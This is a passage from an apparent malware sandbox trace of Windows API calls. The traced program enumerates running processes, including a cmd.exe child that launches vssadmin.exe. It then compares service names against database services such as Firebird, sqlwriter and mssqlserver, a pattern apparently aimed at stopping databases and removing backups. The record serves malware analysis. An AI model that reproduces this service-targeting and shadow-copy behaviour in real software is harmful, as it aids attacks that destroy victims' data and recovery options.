th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0055.092] lstrlenW (lpString="taskeng.exe") returned 11 [0055.092] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0055.092] lstrlenW (lpString="taskhost.exe") returned 12 [0055.092] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0055.093] lstrlenW (lpString="dear.exe") returned 8 [0055.093] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0055.094] lstrlenW (lpString="b costa.exe") returned 11 [0055.094] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0055.094] lstrlenW (lpString="rc lock.exe") returned 11 [0055.094] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0055.095] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0055.095] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0055.096] lstrlenW (lpString="hugown.exe") returned 10 [0055.096] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0055.096] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0055.096] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0055.097] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0055.097] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0055.098] lstrlenW (lpString="locked welsh.exe") returned 16 [0055.098] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0055.303] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0055.303] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0055.304] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0055.304] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0055.304] lstrlenW (lpString="planners.exe") returned 12 [0055.304] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0055.305] lstrlenW (lpString="agreements.exe") returned 14 [0055.305] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0055.305] lstrlenW (lpString="tray.exe") returned 8 [0055.305] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0055.306] lstrlenW (lpString="wp std.exe") returned 10 [0055.306] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0055.306] lstrlenW (lpString="lesser.exe") returned 10 [0055.306] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0055.307] lstrlenW (lpString="right-tissue.exe") returned 16 [0055.307] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0055.307] lstrlenW (lpString="bunch.exe") returned 9 [0055.307] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0055.308] lstrlenW (lpString="jam.exe") returned 7 [0055.308] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0055.308] lstrlenW (lpString="chooseincidence.exe") returned 19 [0055.308] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0055.309] lstrlenW (lpString="numericalrear.exe") returned 17 [0055.309] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0055.309] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0055.309] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0055.310] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0055.310] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0055.310] lstrlenW (lpString="come_wave.exe") returned 13 [0055.310] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0055.311] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0055.311] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0055.311] lstrlenW (lpString="uyuquk.exe") returned 10 [0055.312] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0055.312] lstrlenW (lpString="cmd.exe") returned 7 [0055.312] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0055.313] lstrlenW (lpString="conhost.exe") returned 11 [0055.313] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0055.313] lstrlenW (lpString="vssadmin.exe") returned 12 [0055.313] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0055.314] lstrlenW (lpString="VSSVC.exe") returned 9 [0055.314] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0055.314] lstrlenW (lpString="svchost.exe") returned 11 [0055.314] Process32NextW (in: hSnapshot=0x238, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0055.315] CloseHandle (hObject=0x238) returned 1 [0055.315] Sleep (dwMilliseconds=0x1f4) [0056.426] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605b48 [0056.427] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0056.428] GetLastError () returned 0xea [0056.428] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0056.428] EnumServicesStatusExW (in: hSCManager=0x605b48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0056.429] CloseServiceHandle (hSCObject=0x605b48) returned 1 [0056.429] lstrlenW (lpString="Appinfo") returned 7 [0056.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0056.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0056.429] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0056.429] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0056.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0056.429] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0056.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0056.429] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0056.429] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0056.429] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0056.429] lstrlenW (lpString="AudioSrv") returned 8 [0056.429] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0056.429] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0056.429] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0056.430] lstrlenW (lpString="BFE") returned 3 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0056.430] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0056.430] lstrlenW (lpString="CryptSvc") returned 8 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0056.430] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0056.430] lstrlenW (lpString="CscService") returned 10 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0056.430] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0056.430] lstrlenW (lpString="DcomLaunch") returned 10 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0056.430] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0056.430] lstrlenW (lpString="Dhcp") returned 4 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0056.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0056.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0056.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0056.430] lstrlenW (lpString="Dnscache") returned 8 [0056.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0056.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0056.431] lstrlenW (lpString="DPS") returned 3 [0056.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0056.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0056.431] lstrlenW (lpString="eventlog") returned 8 [0056.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0056.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0056.431] lstrlenW (lpString="EventSystem") returned 11 [0056.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0056.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0056.431] lstrlenW (lpString="gpsvc") returned 5 [0056.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0056.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0056.431] lstrlenW (lpString="iphlpsvc") returned 8 [0056.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0056.431] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0056.431] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0056.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0056.431] lstrlenW (lpString="LanmanServer") returned 12 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0056.432] lstrlenW (lpString="LanmanWorkstation") returned 17 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0056.432] lstrlenW (lpString="lmhosts") returned 7 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0056.432] lstrlenW (lpString="MMCSS") returned 5 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0056.432] lstrlenW (lpString="MpsSvc") returned 6 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0056.432] lstrlenW (lpString="Netman") returned 6 [0056.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0056.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0056.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0056.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0056.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0056.433] lstrlenW (lpString="netprofm") returned 8 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0056.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0056.433] lstrlenW (lpString="NlaSvc") returned 6 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0056.433] lstrlenW (lpString="nsi") returned 3 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0056.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0056.433] lstrlenW (lpString="PcaSvc") returned 6 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0056.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0056.433] lstrlenW (lpString="PlugPlay") returned 8 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0056.433] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0056.433] lstrlenW (lpString="Power") returned 5 [0056.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0056.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0056.433] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0056.433] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0056.434] lstrlenW (lpString="ProfSvc") returned 7 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0056.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0056.434] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0056.434] lstrlenW (lpString="RpcEptMapper") returned 12 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.434] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0056.434] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0056.434] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0056.434] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0056.434] lstrlenW (lpString="RpcSs") returned 5 [0056.434] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0056.434] lstrcmpiW 